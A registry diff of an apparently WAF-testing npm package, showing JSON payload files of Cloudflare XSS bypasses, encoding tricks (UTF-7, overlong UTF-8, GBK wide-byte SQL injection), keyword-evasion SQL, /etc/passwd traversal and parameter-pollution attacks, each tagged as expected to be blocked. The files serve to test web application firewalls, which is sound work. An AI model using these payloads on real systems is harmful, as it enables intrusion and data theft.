@waftester/cli 2.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +80 -0
- package/LICENSE-COMMUNITY +28 -0
- package/README.md +121 -0
- package/bin/cli.js +152 -0
- package/package.json +52 -0
- package/payloads/community/README.md +45 -0
- package/payloads/community/ai/ml-poisoning.json +173 -0
- package/payloads/community/ai/prompt-injection.json +247 -0
- package/payloads/community/ai/workflow-abuse.json +222 -0
- package/payloads/community/auth/jwt.json +855 -0
- package/payloads/community/auth/login-bypass.json +623 -0
- package/payloads/community/auth/mfa.json +402 -0
- package/payloads/community/auth/oauth.json +421 -0
- package/payloads/community/auth/open-redirect.json +1028 -0
- package/payloads/community/auth/session.json +404 -0
- package/payloads/community/cache/deception.json +402 -0
- package/payloads/community/cache/poisoning.json +403 -0
- package/payloads/community/deserialization/gadget.json +375 -0
- package/payloads/community/deserialization/prototype.json +370 -0
- package/payloads/community/fuzz/content-type.json +397 -0
- package/payloads/community/fuzz/headers.json +401 -0
- package/payloads/community/fuzz/methods.json +397 -0
- package/payloads/community/fuzz/obfuscation.json +362 -0
- package/payloads/community/fuzz/special-chars.json +740 -0
- package/payloads/community/fuzz/waf-bypass.json +452 -0
- package/payloads/community/graphql/batching-abuse.json +271 -0
- package/payloads/community/graphql/depth-limit.json +271 -0
- package/payloads/community/graphql/introspection.json +267 -0
- package/payloads/community/injection/crlf.json +569 -0
- package/payloads/community/injection/ldap.json +357 -0
- package/payloads/community/injection/nosqli.json +529 -0
- package/payloads/community/injection/oscmd.json +662 -0
- package/payloads/community/injection/rce-polyglots.json +452 -0
- package/payloads/community/injection/sqli.json +681 -0
- package/payloads/community/injection/ssti.json +584 -0
- package/payloads/community/injection/upload-attacks.json +632 -0
- package/payloads/community/injection/xpath.json +357 -0
- package/payloads/community/injection/xxe.json +716 -0
- package/payloads/community/logic/forced-browsing.json +405 -0
- package/payloads/community/logic/idor.json +1026 -0
- package/payloads/community/logic/privilege.json +337 -0
- package/payloads/community/media/exif-injection.json +225 -0
- package/payloads/community/media/metadata-poison.json +239 -0
- package/payloads/community/protocol/http-smuggling.json +798 -0
- package/payloads/community/protocol/http2-attacks.json +382 -0
- package/payloads/community/protocol/websocket-abuse.json +375 -0
- package/payloads/community/rate-limit/burst-simulation.json +286 -0
- package/payloads/community/rate-limit/bypass-attempts.json +326 -0
- package/payloads/community/rate-limit/zone-tests.json +332 -0
- package/payloads/community/services/authentik.json +415 -0
- package/payloads/community/services/immich.json +423 -0
- package/payloads/community/services/n8n.json +366 -0
- package/payloads/community/sqli-basic.json +182 -0
- package/payloads/community/ssrf/cloud-metadata.json +999 -0
- package/payloads/community/ssrf/dns-rebinding.json +503 -0
- package/payloads/community/ssrf/internal-networks.json +627 -0
- package/payloads/community/ssrf/protocol-smuggling.json +350 -0
- package/payloads/community/ssti/multi-language-templates.json +191 -0
- package/payloads/community/ssti/python-templates.json +200 -0
- package/payloads/community/traversal/basic.json +675 -0
- package/payloads/community/traversal/cloud-credentials.json +107 -0
- package/payloads/community/traversal/config-files.json +193 -0
- package/payloads/community/traversal/encoding.json +558 -0
- package/payloads/community/traversal/null-byte.json +105 -0
- package/payloads/community/traversal/symlink.json +93 -0
- package/payloads/community/traversal/unicode.json +134 -0
- package/payloads/community/traversal/unix-advanced.json +195 -0
- package/payloads/community/traversal/windows-advanced.json +195 -0
- package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
- package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
- package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
- package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
- package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
- package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
- package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
- package/payloads/community/waf-bypass/unicode-charset.json +152 -0
- package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
- package/payloads/community/waf-validation/README.md +172 -0
- package/payloads/community/waf-validation/bypass-techniques.json +272 -0
- package/payloads/community/waf-validation/custom-rules.json +952 -0
- package/payloads/community/waf-validation/evasion-techniques.json +272 -0
- package/payloads/community/waf-validation/modsecurity-core.json +151 -0
- package/payloads/community/waf-validation/owasp-top10.json +236 -0
- package/payloads/community/waf-validation/regression-tests.json +227 -0
- package/payloads/community/xss/csp-bypass.json +431 -0
- package/payloads/community/xss/dom.json +389 -0
- package/payloads/community/xss/filter-bypass.json +1242 -0
- package/payloads/community/xss/mutation.json +263 -0
- package/payloads/community/xss/polyglots.json +371 -0
- package/payloads/community/xss/reflected.json +187 -0
- package/payloads/community/xss/stored.json +330 -0
- package/payloads/crlf-injection.json +182 -0
- package/payloads/ids-map.json +155 -0
- package/payloads/ldap-injection.json +182 -0
- package/payloads/nosql-injection.json +227 -0
- package/payloads/prototype-pollution.json +182 -0
- package/payloads/request-smuggling.json +182 -0
- package/payloads/version.json +28 -0
- package/payloads/xss-advanced.json +227 -0
- package/templates/README.md +221 -0
- package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
- package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
- package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
- package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
- package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
- package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
- package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
- package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
- package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
- package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
- package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
- package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
- package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
- package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
- package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
- package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
- package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
- package/templates/output/asff.tmpl +61 -0
- package/templates/output/csv.tmpl +4 -0
- package/templates/output/junit.tmpl +34 -0
- package/templates/output/markdown-report.tmpl +92 -0
- package/templates/output/slack-notification.tmpl +95 -0
- package/templates/output/text-summary.tmpl +56 -0
- package/templates/overrides/api-only.yaml +130 -0
- package/templates/overrides/crs-tuning.yaml +204 -0
- package/templates/overrides/false-positive-suppression.yaml +159 -0
- package/templates/policies/owasp-top10.yaml +152 -0
- package/templates/policies/pci-dss.yaml +124 -0
- package/templates/policies/permissive.yaml +40 -0
- package/templates/policies/standard.yaml +57 -0
- package/templates/policies/strict.yaml +72 -0
- package/templates/report-configs/compliance.yaml +173 -0
- package/templates/report-configs/dark.yaml +136 -0
- package/templates/report-configs/enterprise.yaml +175 -0
- package/templates/report-configs/minimal.yaml +84 -0
- package/templates/report-configs/print.yaml +139 -0
- package/templates/workflows/api-scan.yaml +132 -0
- package/templates/workflows/ci-gate.yaml +129 -0
- package/templates/workflows/full-scan.yaml +133 -0
- package/templates/workflows/quick-probe.yaml +80 -0
- package/templates/workflows/waf-detection.yaml +89 -0
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "WAF-CF-001",
|
|
4
|
+
"payload": "<svg/onrandom=random onload=confirm(1)>",
|
|
5
|
+
"tags": ["cloudflare", "waf-bypass", "svg", "2021"],
|
|
6
|
+
"expected_block": true,
|
|
7
|
+
"severity_hint": "Critical",
|
|
8
|
+
"notes": "Cloudflare bypass - fake event handler with real onload (Jan 2021)",
|
|
9
|
+
"category": "WAF-Bypass",
|
|
10
|
+
"source": "PayloadsAllTheThings"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"id": "WAF-CF-002",
|
|
14
|
+
"payload": "<video onnull=null onmouseover=confirm(1)>",
|
|
15
|
+
"tags": ["cloudflare", "waf-bypass", "video", "2021"],
|
|
16
|
+
"expected_block": true,
|
|
17
|
+
"severity_hint": "Critical",
|
|
18
|
+
"notes": "Cloudflare bypass - video tag with fake event",
|
|
19
|
+
"category": "WAF-Bypass",
|
|
20
|
+
"source": "PayloadsAllTheThings"
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
"id": "WAF-CF-003",
|
|
24
|
+
"payload": "<svg/OnLoad=\"`${prompt``}`\">",
|
|
25
|
+
"tags": ["cloudflare", "waf-bypass", "template-literal", "2020"],
|
|
26
|
+
"expected_block": true,
|
|
27
|
+
"severity_hint": "Critical",
|
|
28
|
+
"notes": "Cloudflare bypass - template literal execution (Apr 2020)",
|
|
29
|
+
"category": "WAF-Bypass",
|
|
30
|
+
"source": "PayloadsAllTheThings"
|
|
31
|
+
},
|
|
32
|
+
{
|
|
33
|
+
"id": "WAF-CF-004",
|
|
34
|
+
"payload": "<svg/onload=%26nbsp;alert`1`+",
|
|
35
|
+
"tags": ["cloudflare", "waf-bypass", "entity", "2019"],
|
|
36
|
+
"expected_block": true,
|
|
37
|
+
"severity_hint": "Critical",
|
|
38
|
+
"notes": "Cloudflare bypass - HTML entity in event handler (Aug 2019)",
|
|
39
|
+
"category": "WAF-Bypass",
|
|
40
|
+
"source": "PayloadsAllTheThings"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"id": "WAF-CF-005",
|
|
44
|
+
"payload": "1'\"><img/src/onerror=.1|alert``>",
|
|
45
|
+
"tags": ["cloudflare", "waf-bypass", "img", "2019"],
|
|
46
|
+
"expected_block": true,
|
|
47
|
+
"severity_hint": "Critical",
|
|
48
|
+
"notes": "Cloudflare bypass - bitwise OR execution (Jun 2019)",
|
|
49
|
+
"category": "WAF-Bypass",
|
|
50
|
+
"source": "PayloadsAllTheThings"
|
|
51
|
+
},
|
|
52
|
+
{
|
|
53
|
+
"id": "WAF-CF-006",
|
|
54
|
+
"payload": "<svg onload=prompt%26%230000000040document.domain)>",
|
|
55
|
+
"tags": ["cloudflare", "waf-bypass", "unicode", "2019"],
|
|
56
|
+
"expected_block": true,
|
|
57
|
+
"severity_hint": "Critical",
|
|
58
|
+
"notes": "Cloudflare bypass - padded Unicode entities (Jun 2019)",
|
|
59
|
+
"category": "WAF-Bypass",
|
|
60
|
+
"source": "PayloadsAllTheThings"
|
|
61
|
+
},
|
|
62
|
+
{
|
|
63
|
+
"id": "WAF-CF-007",
|
|
64
|
+
"payload": "xss'\"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>",
|
|
65
|
+
"tags": ["cloudflare", "waf-bypass", "srcdoc", "2019"],
|
|
66
|
+
"expected_block": true,
|
|
67
|
+
"severity_hint": "Critical",
|
|
68
|
+
"notes": "Cloudflare bypass - srcdoc with encoded script",
|
|
69
|
+
"category": "WAF-Bypass",
|
|
70
|
+
"source": "PayloadsAllTheThings"
|
|
71
|
+
},
|
|
72
|
+
{
|
|
73
|
+
"id": "WAF-CF-008",
|
|
74
|
+
"payload": "<svg/onload=alert()//",
|
|
75
|
+
"tags": ["cloudflare", "waf-bypass", "mixed-encoding", "2019"],
|
|
76
|
+
"expected_block": true,
|
|
77
|
+
"severity_hint": "Critical",
|
|
78
|
+
"notes": "Cloudflare bypass - mixed decimal/hex entities (Mar 2019)",
|
|
79
|
+
"category": "WAF-Bypass",
|
|
80
|
+
"source": "PayloadsAllTheThings"
|
|
81
|
+
},
|
|
82
|
+
{
|
|
83
|
+
"id": "WAF-CF-009",
|
|
84
|
+
"payload": "<a href=\"j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))\">X</a>",
|
|
85
|
+
"tags": ["cloudflare", "waf-bypass", "whitespace", "2018"],
|
|
86
|
+
"expected_block": true,
|
|
87
|
+
"severity_hint": "Critical",
|
|
88
|
+
"notes": "Cloudflare bypass - whitespace entities in protocol (Feb 2018)",
|
|
89
|
+
"category": "WAF-Bypass",
|
|
90
|
+
"source": "PayloadsAllTheThings"
|
|
91
|
+
},
|
|
92
|
+
{
|
|
93
|
+
"id": "WAF-CF-010",
|
|
94
|
+
"payload": "</script><svg><script>alert(1)-%26apos%3B",
|
|
95
|
+
"tags": ["cloudflare", "waf-bypass", "script-break", "2018"],
|
|
96
|
+
"expected_block": true,
|
|
97
|
+
"severity_hint": "Critical",
|
|
98
|
+
"notes": "Chrome Auditor/Cloudflare bypass",
|
|
99
|
+
"category": "WAF-Bypass",
|
|
100
|
+
"source": "PayloadsAllTheThings"
|
|
101
|
+
}
|
|
102
|
+
]
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "ENC-UTF7-001",
|
|
4
|
+
"payload": "+ADw-script+AD4-alert(1)+ADw-/script+AD4-",
|
|
5
|
+
"category": "WAF-Bypass",
|
|
6
|
+
"method": "GET",
|
|
7
|
+
"expected_block": true,
|
|
8
|
+
"severity_hint": "High",
|
|
9
|
+
"tags": ["utf7", "xss", "encoding"],
|
|
10
|
+
"notes": "UTF-7 encoded XSS - bypasses UTF-8 only filters"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"id": "ENC-UTF7-002",
|
|
14
|
+
"payload": "+ADw-img src=x onerror=alert(1)+AD4-",
|
|
15
|
+
"category": "WAF-Bypass",
|
|
16
|
+
"expected_block": true,
|
|
17
|
+
"severity_hint": "High",
|
|
18
|
+
"tags": ["utf7", "xss"],
|
|
19
|
+
"notes": "UTF-7 encoded img tag XSS - bypasses UTF-8 sanitization"
|
|
20
|
+
},
|
|
21
|
+
{
|
|
22
|
+
"id": "ENC-OVERLONG-001",
|
|
23
|
+
"payload": "%c0%bc%c1%b3%c1%b2%c0%b9%c1%b0%c1%b4",
|
|
24
|
+
"category": "WAF-Bypass",
|
|
25
|
+
"expected_block": true,
|
|
26
|
+
"severity_hint": "Critical",
|
|
27
|
+
"tags": ["overlong-utf8", "xss"],
|
|
28
|
+
"notes": "Overlong UTF-8 encoded <script - critical bypass technique"
|
|
29
|
+
},
|
|
30
|
+
{
|
|
31
|
+
"id": "ENC-OVERLONG-002",
|
|
32
|
+
"payload": "%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc/passwd",
|
|
33
|
+
"category": "WAF-Bypass",
|
|
34
|
+
"expected_block": true,
|
|
35
|
+
"severity_hint": "Critical",
|
|
36
|
+
"tags": ["overlong-utf8", "traversal"],
|
|
37
|
+
"notes": "Overlong UTF-8 ../../ for path traversal"
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
"id": "ENC-WIDE-GBK-001",
|
|
41
|
+
"payload": "%bf%27 OR 1=1--",
|
|
42
|
+
"category": "WAF-Bypass",
|
|
43
|
+
"expected_block": true,
|
|
44
|
+
"severity_hint": "Critical",
|
|
45
|
+
"tags": ["wide-byte", "gbk", "sqli"],
|
|
46
|
+
"notes": "GBK wide-byte injection - %bf eats the backslash escape"
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
"id": "ENC-WIDE-GBK-002",
|
|
50
|
+
"payload": "%bf%5c%27 UNION SELECT * FROM users--",
|
|
51
|
+
"category": "WAF-Bypass",
|
|
52
|
+
"expected_block": true,
|
|
53
|
+
"severity_hint": "Critical",
|
|
54
|
+
"tags": ["wide-byte", "gbk", "sqli"],
|
|
55
|
+
"notes": "GBK wide-byte UNION injection - multi-byte char consumes escape"
|
|
56
|
+
},
|
|
57
|
+
{
|
|
58
|
+
"id": "ENC-WIDE-SJIS-001",
|
|
59
|
+
"payload": "%81%27 OR 1=1--",
|
|
60
|
+
"category": "WAF-Bypass",
|
|
61
|
+
"expected_block": true,
|
|
62
|
+
"severity_hint": "High",
|
|
63
|
+
"tags": ["wide-byte", "shift-jis", "sqli"],
|
|
64
|
+
"notes": "Shift-JIS wide-byte injection"
|
|
65
|
+
},
|
|
66
|
+
{
|
|
67
|
+
"id": "ENC-TRIPLE-URL-001",
|
|
68
|
+
"payload": "%252527%252520OR%2525201%25253D1",
|
|
69
|
+
"category": "WAF-Bypass",
|
|
70
|
+
"expected_block": true,
|
|
71
|
+
"severity_hint": "High",
|
|
72
|
+
"tags": ["triple-url", "sqli"],
|
|
73
|
+
"notes": "Triple URL encoded SQL injection"
|
|
74
|
+
},
|
|
75
|
+
{
|
|
76
|
+
"id": "ENC-TRIPLE-URL-002",
|
|
77
|
+
"payload": "%25253Cscript%25253Ealert(1)%25253C%25252Fscript%25253E",
|
|
78
|
+
"category": "WAF-Bypass",
|
|
79
|
+
"expected_block": true,
|
|
80
|
+
"severity_hint": "High",
|
|
81
|
+
"tags": ["triple-url", "xss"],
|
|
82
|
+
"notes": "Triple URL encoded XSS - requires 3 decode passes to reveal payload"
|
|
83
|
+
},
|
|
84
|
+
{
|
|
85
|
+
"id": "ENC-MIXED-001",
|
|
86
|
+
"payload": "%3Cscr%69pt%3Eale%72t(1)%3C/script%3E",
|
|
87
|
+
"category": "WAF-Bypass",
|
|
88
|
+
"expected_block": true,
|
|
89
|
+
"severity_hint": "High",
|
|
90
|
+
"tags": ["mixed", "partial-url", "xss"],
|
|
91
|
+
"notes": "Partial URL encoding - only some characters encoded"
|
|
92
|
+
},
|
|
93
|
+
{
|
|
94
|
+
"id": "ENC-MIXED-002",
|
|
95
|
+
"payload": "<scr%00ipt>alert(1)</script>",
|
|
96
|
+
"category": "WAF-Bypass",
|
|
97
|
+
"expected_block": true,
|
|
98
|
+
"severity_hint": "High",
|
|
99
|
+
"tags": ["null-byte", "xss"],
|
|
100
|
+
"notes": "Null byte in script tag breaks regex pattern matching"
|
|
101
|
+
},
|
|
102
|
+
{
|
|
103
|
+
"id": "ENC-FULLWIDTH-001",
|
|
104
|
+
"payload": "<script>alert(1)</script>",
|
|
105
|
+
"category": "WAF-Bypass",
|
|
106
|
+
"expected_block": true,
|
|
107
|
+
"severity_hint": "High",
|
|
108
|
+
"tags": ["unicode", "fullwidth", "xss"],
|
|
109
|
+
"notes": "Unicode fullwidth characters - normalizes to ASCII"
|
|
110
|
+
},
|
|
111
|
+
{
|
|
112
|
+
"id": "ENC-FULLWIDTH-002",
|
|
113
|
+
"payload": "' OR '1'='1",
|
|
114
|
+
"category": "WAF-Bypass",
|
|
115
|
+
"expected_block": true,
|
|
116
|
+
"severity_hint": "High",
|
|
117
|
+
"tags": ["unicode", "fullwidth", "sqli"],
|
|
118
|
+
"notes": "Fullwidth Unicode SQLi - bypasses ASCII-only pattern matching"
|
|
119
|
+
}
|
|
120
|
+
]
|
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "EVASION-WHITESPACE-001",
|
|
4
|
+
"payload": "SELECT\t\t\t*\t\t\tFROM\t\t\tusers",
|
|
5
|
+
"category": "WAF-Bypass",
|
|
6
|
+
"expected_block": true,
|
|
7
|
+
"severity_hint": "High",
|
|
8
|
+
"tags": ["whitespace", "tab", "sqli"],
|
|
9
|
+
"notes": "Tab character substitution for spaces"
|
|
10
|
+
},
|
|
11
|
+
{
|
|
12
|
+
"id": "EVASION-WHITESPACE-002",
|
|
13
|
+
"payload": "SELECT%0a*%0aFROM%0ausers",
|
|
14
|
+
"category": "WAF-Bypass",
|
|
15
|
+
"expected_block": true,
|
|
16
|
+
"severity_hint": "High",
|
|
17
|
+
"tags": ["whitespace", "lf-encoded", "sqli"],
|
|
18
|
+
"notes": "Line feed (LF) encoded as space substitute in SQL"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"id": "EVASION-WHITESPACE-003",
|
|
22
|
+
"payload": "SELECT%a0*%a0FROM%a0users",
|
|
23
|
+
"category": "WAF-Bypass",
|
|
24
|
+
"expected_block": true,
|
|
25
|
+
"severity_hint": "High",
|
|
26
|
+
"tags": ["whitespace", "nbsp", "sqli"],
|
|
27
|
+
"notes": "Non-breaking space (0xa0)"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"id": "EVASION-COMMENT-001",
|
|
31
|
+
"payload": "SEL/**/ECT * FR/**/OM users",
|
|
32
|
+
"category": "WAF-Bypass",
|
|
33
|
+
"expected_block": true,
|
|
34
|
+
"severity_hint": "High",
|
|
35
|
+
"tags": ["comment", "sqli"],
|
|
36
|
+
"notes": "SQL inline comments to break keywords"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"id": "EVASION-COMMENT-002",
|
|
40
|
+
"payload": "/*!50000SELECT*/ * /*!50000FROM*/ users",
|
|
41
|
+
"category": "WAF-Bypass",
|
|
42
|
+
"expected_block": true,
|
|
43
|
+
"severity_hint": "High",
|
|
44
|
+
"tags": ["comment", "mysql-versioned", "sqli"],
|
|
45
|
+
"notes": "MySQL versioned comments"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"id": "EVASION-NULL-001",
|
|
49
|
+
"payload": "SEL%00ECT * FROM users",
|
|
50
|
+
"category": "WAF-Bypass",
|
|
51
|
+
"expected_block": true,
|
|
52
|
+
"severity_hint": "Critical",
|
|
53
|
+
"tags": ["null-byte", "sqli"],
|
|
54
|
+
"notes": "Null byte in middle of keyword"
|
|
55
|
+
},
|
|
56
|
+
{
|
|
57
|
+
"id": "EVASION-NULL-002",
|
|
58
|
+
"payload": "<scr%00ipt>alert(1)</script>",
|
|
59
|
+
"category": "WAF-Bypass",
|
|
60
|
+
"expected_block": true,
|
|
61
|
+
"severity_hint": "Critical",
|
|
62
|
+
"tags": ["null-byte", "xss"],
|
|
63
|
+
"notes": "Null byte splits XSS tag to evade pattern detection"
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
"id": "EVASION-NULL-003",
|
|
67
|
+
"payload": "../../../etc/passwd%00.jpg",
|
|
68
|
+
"category": "WAF-Bypass",
|
|
69
|
+
"expected_block": true,
|
|
70
|
+
"severity_hint": "Critical",
|
|
71
|
+
"tags": ["null-byte", "traversal"],
|
|
72
|
+
"notes": "Null byte truncation to bypass extension checks"
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"id": "EVASION-CASE-001",
|
|
76
|
+
"payload": "SeLeCt * FrOm UsErS",
|
|
77
|
+
"category": "WAF-Bypass",
|
|
78
|
+
"expected_block": true,
|
|
79
|
+
"severity_hint": "Medium",
|
|
80
|
+
"tags": ["case", "sqli"],
|
|
81
|
+
"notes": "Mixed case SQL keywords bypass case-sensitive regex"
|
|
82
|
+
},
|
|
83
|
+
{
|
|
84
|
+
"id": "EVASION-CASE-002",
|
|
85
|
+
"payload": "<ScRiPt>alert(1)</sCrIpT>",
|
|
86
|
+
"category": "WAF-Bypass",
|
|
87
|
+
"expected_block": true,
|
|
88
|
+
"severity_hint": "Medium",
|
|
89
|
+
"tags": ["case", "xss"],
|
|
90
|
+
"notes": "Mixed case HTML tags bypass case-sensitive XSS filters"
|
|
91
|
+
},
|
|
92
|
+
{
|
|
93
|
+
"id": "EVASION-CONCAT-001",
|
|
94
|
+
"payload": "SEL'+'ECT * FROM users",
|
|
95
|
+
"category": "WAF-Bypass",
|
|
96
|
+
"expected_block": true,
|
|
97
|
+
"severity_hint": "High",
|
|
98
|
+
"tags": ["concat", "sqli"],
|
|
99
|
+
"notes": "String concatenation to break keywords"
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
"id": "EVASION-CHAR-001",
|
|
103
|
+
"payload": "SELECT CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)",
|
|
104
|
+
"category": "WAF-Bypass",
|
|
105
|
+
"expected_block": true,
|
|
106
|
+
"severity_hint": "High",
|
|
107
|
+
"tags": ["char", "sqli"],
|
|
108
|
+
"notes": "CHAR() function to build strings"
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
"id": "EVASION-DOUBLE-WRITE-001",
|
|
112
|
+
"payload": "<scrscriptipt>alert(1)</scrscriptipt>",
|
|
113
|
+
"category": "WAF-Bypass",
|
|
114
|
+
"expected_block": true,
|
|
115
|
+
"severity_hint": "High",
|
|
116
|
+
"tags": ["double-write", "xss"],
|
|
117
|
+
"notes": "Double-write to survive single-pass filter"
|
|
118
|
+
},
|
|
119
|
+
{
|
|
120
|
+
"id": "EVASION-PARENTHESIS-001",
|
|
121
|
+
"payload": "SELECT(password)FROM(users)",
|
|
122
|
+
"category": "WAF-Bypass",
|
|
123
|
+
"expected_block": true,
|
|
124
|
+
"severity_hint": "High",
|
|
125
|
+
"tags": ["parenthesis", "sqli"],
|
|
126
|
+
"notes": "No spaces, parenthesis as delimiters"
|
|
127
|
+
},
|
|
128
|
+
{
|
|
129
|
+
"id": "EVASION-MULTILINE-001",
|
|
130
|
+
"payload": "<svg\nonload\n=\nalert(1)>",
|
|
131
|
+
"category": "WAF-Bypass",
|
|
132
|
+
"expected_block": true,
|
|
133
|
+
"severity_hint": "High",
|
|
134
|
+
"tags": ["multiline", "xss"],
|
|
135
|
+
"notes": "Newlines in SVG attributes bypass single-line regex patterns"
|
|
136
|
+
},
|
|
137
|
+
{
|
|
138
|
+
"id": "EVASION-ENTITY-001",
|
|
139
|
+
"payload": "<img src=x onerror=alert(1)>",
|
|
140
|
+
"category": "WAF-Bypass",
|
|
141
|
+
"expected_block": true,
|
|
142
|
+
"severity_hint": "High",
|
|
143
|
+
"tags": ["entity", "partial-encoding", "xss"],
|
|
144
|
+
"notes": "HTML entity encoding in event handler name (e = 'e')"
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
"id": "EVASION-PROTO-001",
|
|
148
|
+
"payload": "javas\tcript:alert(1)",
|
|
149
|
+
"category": "WAF-Bypass",
|
|
150
|
+
"expected_block": true,
|
|
151
|
+
"severity_hint": "High",
|
|
152
|
+
"tags": ["protocol", "tab", "xss"],
|
|
153
|
+
"notes": "Tab character in javascript: protocol bypasses keyword detection"
|
|
154
|
+
},
|
|
155
|
+
{
|
|
156
|
+
"id": "EVASION-DATA-URI-001",
|
|
157
|
+
"payload": "data:text/html,<script>alert(1)</script>",
|
|
158
|
+
"category": "WAF-Bypass",
|
|
159
|
+
"expected_block": true,
|
|
160
|
+
"severity_hint": "High",
|
|
161
|
+
"tags": ["data-uri", "xss"],
|
|
162
|
+
"notes": "Data URI scheme to embed XSS payload inline"
|
|
163
|
+
}
|
|
164
|
+
]
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "HPP-SQLI-001",
|
|
4
|
+
"payload": "id=1&id=' OR 1=1--",
|
|
5
|
+
"category": "WAF-Bypass",
|
|
6
|
+
"expected_block": true,
|
|
7
|
+
"severity_hint": "Critical",
|
|
8
|
+
"tags": ["hpp", "sqli", "duplicate-param"],
|
|
9
|
+
"notes": "Duplicate parameter - some servers take first, WAF checks last"
|
|
10
|
+
},
|
|
11
|
+
{
|
|
12
|
+
"id": "HPP-SQLI-002",
|
|
13
|
+
"payload": "id=1/*&id=*/UNION/*&id=*/SELECT/*&id=*/password/*&id=*/FROM/*&id=*/users",
|
|
14
|
+
"category": "WAF-Bypass",
|
|
15
|
+
"expected_block": true,
|
|
16
|
+
"severity_hint": "Critical",
|
|
17
|
+
"tags": ["hpp", "sqli", "fragmented"],
|
|
18
|
+
"notes": "Fragmented SQL across multiple parameters - server joins them"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"id": "HPP-XSS-001",
|
|
22
|
+
"payload": "q=test&q=<script>alert(1)</script>",
|
|
23
|
+
"category": "WAF-Bypass",
|
|
24
|
+
"expected_block": true,
|
|
25
|
+
"severity_hint": "High",
|
|
26
|
+
"tags": ["hpp", "xss"],
|
|
27
|
+
"notes": "HTTP Parameter Pollution with XSS in second parameter value"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"id": "HPP-TRAVERSAL-001",
|
|
31
|
+
"payload": "file=index.html&file=../../../etc/passwd",
|
|
32
|
+
"category": "WAF-Bypass",
|
|
33
|
+
"expected_block": true,
|
|
34
|
+
"severity_hint": "Critical",
|
|
35
|
+
"tags": ["hpp", "traversal", "lfi"],
|
|
36
|
+
"notes": "HPP with path traversal - backend may use malicious second value"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"id": "HPP-ARRAY-001",
|
|
40
|
+
"payload": "id[]=1&id[]=2 OR 1=1--",
|
|
41
|
+
"category": "WAF-Bypass",
|
|
42
|
+
"expected_block": true,
|
|
43
|
+
"severity_hint": "High",
|
|
44
|
+
"tags": ["hpp", "array", "sqli"],
|
|
45
|
+
"notes": "Array notation HPP - common in PHP/Ruby"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"id": "HPP-JSON-001",
|
|
49
|
+
"payload": "{\"id\":1,\"id\":\"1' OR '1'='1\"}",
|
|
50
|
+
"category": "WAF-Bypass",
|
|
51
|
+
"expected_block": true,
|
|
52
|
+
"severity_hint": "Critical",
|
|
53
|
+
"tags": ["hpp", "json", "duplicate-key", "sqli"],
|
|
54
|
+
"notes": "JSON duplicate key - parser behavior varies"
|
|
55
|
+
},
|
|
56
|
+
{
|
|
57
|
+
"id": "HPP-JSON-002",
|
|
58
|
+
"payload": "{\"role\":\"user\",\"role\":\"admin\"}",
|
|
59
|
+
"category": "WAF-Bypass",
|
|
60
|
+
"expected_block": true,
|
|
61
|
+
"severity_hint": "High",
|
|
62
|
+
"tags": ["hpp", "json", "duplicate-key", "privilege-escalation"],
|
|
63
|
+
"notes": "JSON duplicate key privilege escalation - last key wins in most parsers"
|
|
64
|
+
},
|
|
65
|
+
{
|
|
